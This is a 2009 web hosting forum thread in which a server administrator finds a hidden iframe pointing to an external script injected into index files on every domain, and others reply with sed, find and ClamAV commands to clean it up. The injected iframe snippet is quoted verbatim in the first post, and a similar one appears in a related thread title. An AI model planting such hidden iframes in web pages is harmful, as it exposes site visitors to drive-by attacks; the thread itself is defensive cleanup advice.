Results 1 to 11 of 11

Thread: iframe

  1. #1
    Join Date
    Jun 2008
    Location
    India
    Posts
    261

    iframe

    I have this code on my dedicated server on all the domains

    <iframe name="StatPage" src="http://million-one.net/script.php" width=5 height=5 style="display:none"></iframe>

    some domains an additinal index.html is created with this content and index.php file is appnded with this code. I am looking for a script (linux) to remove the code from all index files as well as remove all blank index files. Any coders could help?
    Ranjith
    Light travels faster thn sound.This is why some people look bright until you actually hear them speak

  2. #2
    Join Date
    Oct 2004
    Location
    Kerala, India
    Posts
    4,750
    Collect the path to the files affected in a file called /home/newlist. The format for the file path should be like below.
    Code:
    /home/username/public_html/file1.php
    /home/username/public_html/file2.php
    To collect the file paths for a particular username you can run the following command.
    Code:
    grep -rl million-one.net /home/username
    Then run the following script to remove the iframe code from all the php file in the list. Get into the user's home directory before you run the script
    Code:
    cd /home/username
    Now you can run the below script.
    Code:
    #!/bin/sh
    for i in `cat /home/newlist`
    do
    echo "changing $i"
    echo "***********"
    sed -e 's/<iframe name=.*<\/iframe>/ /' $i > $i.script
    mv -f $i.script $i
    chown `ls -al  | sed -n '2p' | awk {'print $3'}`.`ls -al  | sed -n '2p' | awk {'print $3'}` $i
    ls -al $i
    echo -e "done $i \n"
    done
    The above script will also change back the ownership of the files to the correct user.
    Last edited by david510; 11-12-2009 at 09:21 AM.
    David | www.cliffsupport.com
    Affordable Server Management Solutions sales AT cliffsupport DOT com
    CliffWebManager | Access WHM from iPhone and Android

  3. #3
    Join Date
    Jun 2008
    Location
    India
    Posts
    261
    thanks David, could you help me a bit more, I need to remove all the index.* files from all users public_html which are empty.

    How may I achieve this using script
    Ranjith
    Light travels faster thn sound.This is why some people look bright until you actually hear them speak

  4. #4
    Join Date
    Oct 2004
    Location
    Kerala, India
    Posts
    4,750
    Removing index.* means all index files will be removed. Like index.html, inde.php, index.shtml etc. You need to achieve this?
    David | www.cliffsupport.com
    Affordable Server Management Solutions sales AT cliffsupport DOT com
    CliffWebManager | Access WHM from iPhone and Android

  5. #5
    Join Date
    Jun 2008
    Location
    India
    Posts
    261
    Yes,I need to remove all index file which are empty ie blank with no code in it
    Ranjith
    Light travels faster thn sound.This is why some people look bright until you actually hear them speak

  6. #6
    Join Date
    Mar 2007
    Location
    India
    Posts
    115
    HI

    You can use ClamAV Scanner to remove all the iframs in your server it will remove all the files which are affects by iframs also other virus files in your server. You can move,copy or remove the files as you like using the ClamAV Scanner, form your ssh just run the command

    cd /home
    clamscan -ri --move /infected
    This will move all the infected the files to the /infected directory
    Be sure to to run all the commands

    cd /
    mkdir infected
    cd /home
    clamscan -ri --move /infected
    LENOVOhost Network Solutions, designs the technology of Tomorrow
    RVSkins, Fantastico, 24/7 Support, FFMPEG, SLA Uptime, Daily Backups, End-User Support & More
    Support Desk Software | Sales, Billing & Tech End-user Support | Hosting Templates

  7. #7
    Join Date
    Oct 2004
    Location
    Kerala, India
    Posts
    4,750
    Quote Originally Posted by rankris View Post
    Yes,I need to remove all index file which are empty ie blank with no code in it
    Get into the home directory of the user.
    Code:
    cd /home/username/www
    Run the following in the command line.
    Code:
    for i in `find . -size 0k| grep index`; do rm -rf  $i ; done
    David | www.cliffsupport.com
    Affordable Server Management Solutions sales AT cliffsupport DOT com
    CliffWebManager | Access WHM from iPhone and Android

  8. #8

    Remove iframe code

    Hello,

    You can remove iframe codes using the following command.

    find . -type f -exec replace '<iframe code></iframe>' '' -- {} \;

    Shiju S Thomas
    Admin-Ahead

  9. #9
    Join Date
    Oct 2004
    Location
    Kerala, India
    Posts
    4,750
    Quote Originally Posted by shijusthomas View Post
    Hello,

    You can remove iframe codes using the following command.

    find . -type f -exec replace '<iframe code></iframe>' '' -- {} \;
    This will not work when the iframe code is spread in more than one line.
    David | www.cliffsupport.com
    Affordable Server Management Solutions sales AT cliffsupport DOT com
    CliffWebManager | Access WHM from iPhone and Android

  10. #10
    One thing you might consider is running dotdefender on your server to prevent such injections. It using very little system resources and prevents attacks even with old/bad code.
    <snipped>
    Last edited by ldcdc; 11-17-2009 at 11:57 AM.

  11. #11
    cd /home/user
    find . -type f -size 0 -name "index*" |xargs rm

    This should work. Try once

Similar Threads

  1. iframe help
    By imadmin in forum Web Design and Content
    Replies: 1
    Last Post: 06-07-2009, 06:36 PM
  2. Replies: 4
    Last Post: 03-17-2006, 12:58 AM
  3. Iframe
    By Saryooo in forum Web Design and Content
    Replies: 5
    Last Post: 04-05-2004, 09:18 AM
  4. <IFRAME SRC="http://www.forced-action.com/?d=get" WIDTH=1 HEIGHT=1></IFRAME>
    By rychen in forum Hosting Security and Technology
    Replies: 7
    Last Post: 03-12-2004, 01:29 PM
  5. iframe
    By alucasa in forum Web Hosting Lounge
    Replies: 12
    Last Post: 06-21-2001, 07:39 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •